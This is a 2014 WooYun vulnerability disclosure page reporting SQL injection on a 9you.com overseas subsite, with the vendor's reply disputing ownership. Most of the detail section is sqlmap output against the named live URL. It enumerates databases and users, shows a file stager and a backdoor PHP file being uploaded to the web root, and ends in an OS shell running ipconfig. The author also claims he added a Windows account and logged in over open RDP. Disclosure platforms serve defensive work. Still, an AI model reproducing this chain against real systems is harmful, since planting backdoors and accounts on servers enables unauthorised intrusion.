当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-075318

漏洞标题：久游网某海外站点存在SQL注入

相关厂商：久游网

漏洞作者： 宝宝

提交时间：2014-09-07 16:32

修复时间：2014-10-22 16:34

公开时间：2014-10-22 16:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-07： 细节已通知厂商并且等待厂商处理中
2014-09-09： 厂商已经确认，细节仅向厂商公开
2014-09-19： 细节向核心白帽子及相关领域专家公开
2014-09-29： 细节向普通白帽子公开
2014-10-09： 细节向实习白帽子公开
2014-10-22： 细节向公众公开

简要描述：

曾经依靠着劲舞团在大陆也算数一数二的游戏公司，现在沦落到这地步

详细说明：

一个很奇怪的国外分站点：http://pk.music.9you.com/
注入点：http://pk.ent.9you.com/front_aboutus.php?about_id=1
爆出的数据库：

[00:21:35] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.22, Apache 2.4.7
back-end DBMS: MySQL 5.0
[00:21:35] [INFO] fetching database names
[00:21:35] [INFO] the SQL query used returns 10 entries
[00:21:35] [INFO] retrieved: information_schema
[00:21:35] [INFO] retrieved: gici
[00:21:35] [INFO] retrieved: gicicrm
[00:21:36] [INFO] retrieved: giciinfo
[00:21:36] [INFO] retrieved: giciinfotest
[00:21:36] [INFO] retrieved: jiexi
[00:21:36] [INFO] retrieved: mysql
[00:21:36] [INFO] retrieved: pb
[00:21:37] [INFO] retrieved: pbtest
[00:21:37] [INFO] retrieved: test
available databases [10]:                                                                                                                                              
[*] gici
[*] gicicrm
[*] giciinfo
[*] giciinfotest
[*] information_schema
[*] jiexi
[*] mysql
[*] pb
[*] pbtest
[*] test


数据库帐号是ROOT

database management system users [2]:                                                                                                                                  
[*] 'root'@'localhost'
[*] 'webadmin'@'127.0.0.1'


直接可以shell执行命令，可以添加net user

which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 
[00:27:18] [INFO] retrieved the web server document root: 'F:\'
[00:27:18] [INFO] retrieved web server absolute paths: 'F:/xampp/htdocs/gici/front_aboutus.php'
[00:27:18] [INFO] trying to upload the file stager on '/' via LIMIT 'LINES TERMINATED BY' method
[00:27:19] [WARNING] unable to upload the file stager on '/'
[00:27:19] [INFO] trying to upload the file stager on '/' via UNION method
[00:27:19] [WARNING] expect junk characters inside the file as a leftover from UNION query
[00:27:19] [INFO] the remote file F://tmpuvlhf.php is larger than the local file /tmp/tmpAjQmTA
[00:27:19] [INFO] trying to upload the file stager on '/xampp/htdocs/gici' via LIMIT 'LINES TERMINATED BY' method
[00:27:20] [WARNING] unable to upload the file stager on '/xampp/htdocs/gici'
[00:27:20] [INFO] trying to upload the file stager on '/xampp/htdocs/gici' via UNION method
[00:27:20] [INFO] the remote file F:/xampp/htdocs/gici/tmpuvlhf.php is larger than the local file /tmp/tmpabAlC4
[00:27:20] [INFO] heuristics detected web page charset 'ascii'
[00:27:20] [INFO] the file stager has been successfully uploaded on '/xampp/htdocs/gici' - http://pk.ent.9you.com:80/tmpuvlhf.php
[00:27:21] [INFO] the backdoor has been successfully uploaded on '/xampp/htdocs/gici' - http://pk.ent.9you.com:80/tmpbvsrp.php
[00:27:21] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> ipconfig
do you want to retrieve the command standard output? [Y/n/a] y
[00:27:50] [INFO] heuristics detected web page charset 'GB2312'
command standard output:
---
Windows IP Configuration
Ethernet adapter 本地连接:
   Connection-specific DNS Suffix  . : 
   IP Address. . . . . . . . . . . . : 222.73.249.20
   Subnet Mask . . . . . . . . . . . : 255.255.255.128
   Default Gateway . . . . . . . . . : 222.73.249.126

漏洞证明：

3389远程也是对外开放的，直接添加帐号远程登录了。。。。

1.jpg

修复方案：

这个。。。

版权声明：转载请注明来源 宝宝@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：2

确认时间：2014-09-09 11:46

厂商回复：

久游域名解析没有及时更新,出漏洞的网站不是久游的。另外你个人签名的网页没有ICP，也要提醒你合规很重要。

最新状态：

暂无